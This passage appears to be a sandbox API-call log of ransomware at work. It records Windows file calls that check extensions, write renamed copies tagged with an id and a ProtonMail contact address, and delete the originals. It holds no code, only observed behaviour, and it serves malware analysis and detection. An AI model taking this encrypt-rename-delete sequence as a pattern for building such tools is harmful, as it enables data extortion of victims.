	[0181.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0181.541] lstrlenW (lpString=".jpg") returned 4
	[0181.541] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0181.542] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0181.542] lstrlenW (lpString="PARNT_01.MID") returned 12
	[0181.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0181.542] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=6491) returned 1
	[0181.542] CloseHandle (hObject=0x5bc) returned 1
	[0181.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid")) returned 0x220
	[0181.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0181.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0181.548] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.548] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0181.549] GetLastError () returned 0x0
	[0181.549] ReadFile (in: hFile=0x5bc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x195b, lpOverlapped=0x0) returned 1
	[0181.551] WriteFile (in: hFile=0x590, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x1960, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x1960, lpOverlapped=0x0) returned 1
	[0181.552] ReadFile (in: hFile=0x5bc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.552] WriteFile (in: hFile=0x590, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1
	[0181.552] SetEndOfFile (hFile=0x590) returned 1
	[0181.552] CloseHandle (hObject=0x590) returned 1
	[0181.552] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.552] SetEndOfFile (hFile=0x5bc) returned 1
	[0181.556] CloseHandle (hObject=0x5bc) returned 1
	[0181.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0182.226] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid")) returned 1
	[0182.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0182.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0182.231] lstrlenW (lpString=".doc") returned 4
	[0182.231] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0182.231] lstrlenW (lpString=".docx") returned 5
	[0182.231] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0182.231] lstrlenW (lpString=".pdf") returned 4
	[0182.231] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0182.231] lstrlenW (lpString=".xls") returned 4
	[0182.231] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0182.232] lstrlenW (lpString=".xlsx") returned 5
	[0182.232] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0182.232] lstrlenW (lpString=".ppt") returned 4
	[0182.232] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0182.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0182.232] lstrlenW (lpString=".zip") returned 4
	[0182.232] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0182.232] lstrlenW (lpString=".rar") returned 4
	[0182.232] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0182.232] lstrlenW (lpString=".bz2") returned 4
	[0182.232] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0182.232] lstrlenW (lpString=".7z") returned 3
	[0182.232] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0182.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0182.232] lstrlenW (lpString=".dbf") returned 4
	[0182.232] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0182.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0182.232] lstrlenW (lpString=".1cd") returned 4
	[0182.232] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0182.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0182.232] lstrlenW (lpString=".jpg") returned 4
	[0182.232] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0182.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0182.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0182.232] lstrlenW (lpString=".doc") returned 4
	[0182.233] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0182.233] lstrlenW (lpString=".docx") returned 5
	[0182.233] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0182.233] lstrlenW (lpString=".pdf") returned 4
	[0182.233] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0182.233] lstrlenW (lpString=".xls") returned 4
	[0182.233] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0182.233] lstrlenW (lpString=".xlsx") returned 5
	[0182.233] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0182.233] lstrlenW (lpString=".ppt") returned 4
	[0182.233] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0182.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0182.233] lstrlenW (lpString=".zip") returned 4
	[0182.233] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0182.233] lstrlenW (lpString=".rar") returned 4
	[0182.233] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0182.233] lstrlenW (lpString=".bz2") returned 4
	[0182.233] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0182.233] lstrlenW (lpString=".7z") returned 3
	[0182.233] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0182.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0182.233] lstrlenW (lpString=".dbf") returned 4
	[0182.233] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0182.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0182.233] lstrlenW (lpString=".1cd") returned 4
	[0182.233] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0182.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0182.233] lstrlenW (lpString=".jpg") returned 4
	[0182.234] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0182.234] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0182.234] lstrlenW (lpString="PARNT_02.MID") returned 12
	[0182.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0182.236] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=5714) returned 1
	[0182.236] CloseHandle (hObject=0x5bc) returned 1
	[0182.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid")) returned 0x220
	[0182.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0182.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0182.237] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.237] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0182.238] GetLastError () returned 0x0
	[0182.238] ReadFile (in: hFile=0x5bc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x1652, lpOverlapped=0x0) returned 1
	[0182.240] WriteFile (in: hFile=0x590, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x1660, lpOverlapped=0x0) returned 1
	[0182.242] ReadFile (in: hFile=0x5bc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.243] WriteFile (in: hFile=0x590, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.243] SetEndOfFile (hFile=0x590) returned 1
	[0182.243] CloseHandle (hObject=0x590) returned 1
	[0182.243] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.243] SetEndOfFile (hFile=0x5bc) returned 1
	[0182.249] CloseHandle (hObject=0x5bc) returned 1
	[0182.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0182.249] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid")) returned 1
	[0182.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0182.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0182.251] lstrlenW (lpString=".doc") returned 4
	[0182.251] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0182.251] lstrlenW (lpString=".docx") returned 5
	[0182.251] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1
	[0182.251] lstrlenW (lpString=".pdf") returned 4
	[0182.251] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0182.251] lstrlenW (lpString=".xls") returned 4
	[0182.251] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0182.251] lstrlenW (lpString=".xlsx") returned 5
	[0182.251] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1
	[0182.251] lstrlenW (lpString=".ppt") returned 4
	[0182.251] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0182.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0182.251] lstrlenW (lpString=".zip") returned 4
	[0182.251] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0182.251] lstrlenW (lpString=".rar") returned 4
	[0182.251] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0182.251] lstrlenW (lpString=".bz2") returned 4
	[0182.251] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0182.251] lstrlenW (lpString=".7z") returned 3
	[0182.252] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0182.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0182.252] lstrlenW (lpString=".dbf") returned 4
	[0182.252] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0182.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0182.252] lstrlenW (lpString=".1cd") returned 4
	[0182.252] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0182.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0182.252] lstrlenW (lpString=".jpg") returned 4
	[0182.252] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0182.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0182.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0182.252] lstrlenW (lpString=".doc") returned 4
	[0182.252] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0182.252] lstrlenW (lpString=".docx") returned 5
	[0182.252] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1
	[0182.252] lstrlenW (lpString=".pdf") returned 4
	[0182.252] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0182.252] lstrlenW (lpString=".xls") returned 4
	[0182.252] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0182.252] lstrlenW (lpString=".xlsx") returned 5
	[0182.252] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1
	[0182.252] lstrlenW (lpString=".ppt") returned 4
	[0182.252] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0182.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0182.252] lstrlenW (lpString=".zip") returned 4
	[0182.253] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0182.253] lstrlenW (lpString=".rar") returned 4
	[0182.253] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0182.253] lstrlenW (lpString=".bz2") returned 4
	[0182.253] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0182.253] lstrlenW (lpString=".7z") returned 3
	[0182.253] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0182.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0182.253] lstrlenW (lpString=".dbf") returned 4
	[0182.253] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0182.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0182.253] lstrlenW (lpString=".1cd") returned 4
	[0182.253] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0182.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0182.253] lstrlenW (lpString=".jpg") returned 4
	[0182.253] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0182.253] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0182.253] lstrlenW (lpString="PARNT_03.MID") returned 12
	[0182.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0182.254] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=8538) returned 1
	[0182.254] CloseHandle (hObject=0x5bc) returned 1
	[0182.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid")) returned 0x220
	[0182.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0182.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0182.255] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.255] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0182.256] GetLastError () returned 0x0
	[0182.256] ReadFile (in: hFile=0x5bc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x215a, lpOverlapped=0x0) returned 1
	[0182.258] WriteFile (in: hFile=0x590, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2160, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2160, lpOverlapped=0x0) returned 1
	[0182.260] ReadFile (in: hFile=0x5bc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.260] WriteFile (in: hFile=0x590, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.260] SetEndOfFile (hFile=0x590) returned 1
	[0182.260] CloseHandle (hObject=0x590) returned 1
	[0182.260] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.260] SetEndOfFile (hFile=0x5bc) returned 1
	[0182.264] CloseHandle (hObject=0x5bc) returned 1
	[0182.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0182.264] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid")) returned 1
	[0182.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0182.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0182.265] lstrlenW (lpString=".doc") returned 4
	[0182.265] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0182.265] lstrlenW (lpString=".docx") returned 5
	[0182.265] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1
	[0182.265] lstrlenW (lpString=".pdf") returned 4
	[0182.265] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0182.266] lstrlenW (lpString=".xls") returned 4
	[0182.266] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0182.266] lstrlenW (lpString=".xlsx") returned 5
	[0182.266] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1
	[0182.266] lstrlenW (lpString=".ppt") returned 4
	[0182.266] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0182.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0182.266] lstrlenW (lpString=".zip") returned 4
	[0182.266] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0182.266] lstrlenW (lpString=".rar") returned 4
	[0182.266] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0182.266] lstrlenW (lpString=".bz2") returned 4
	[0182.266] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0182.266] lstrlenW (lpString=".7z") returned 3
	[0182.266] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0182.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0182.266] lstrlenW (lpString=".dbf") returned 4
	[0182.266] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0182.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0182.267] lstrlenW (lpString=".1cd") returned 4
	[0182.267] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0182.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0182.267] lstrlenW (lpString=".jpg") returned 4
	[0182.267] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0182.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0182.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0182.267] lstrlenW (lpString=".doc") returned 4
	[0182.267] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0182.267] lstrlenW (lpString=".docx") returned 5
	[0182.267] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1
	[0182.267] lstrlenW (lpString=".pdf") returned 4
	[0182.267] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0182.267] lstrlenW (lpString=".xls") returned 4
	[0182.267] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0182.267] lstrlenW (lpString=".xlsx") returned 5
	[0182.267] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1
	[0182.267] lstrlenW (lpString=".ppt") returned 4
	[0182.267] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0182.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0182.267] lstrlenW (lpString=".zip") returned 4
	[0182.267] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0182.268] lstrlenW (lpString=".rar") returned 4
	[0182.268] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0182.268] lstrlenW (lpString=".bz2") returned 4
	[0182.268] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0182.268] lstrlenW (lpString=".7z") returned 3
	[0182.268] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0182.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0182.268] lstrlenW (lpString=".dbf") returned 4
	[0182.268] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0182.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0182.268] lstrlenW (lpString=".1cd") returned 4
	[0182.268] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0182.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0182.268] lstrlenW (lpString=".jpg") returned 4
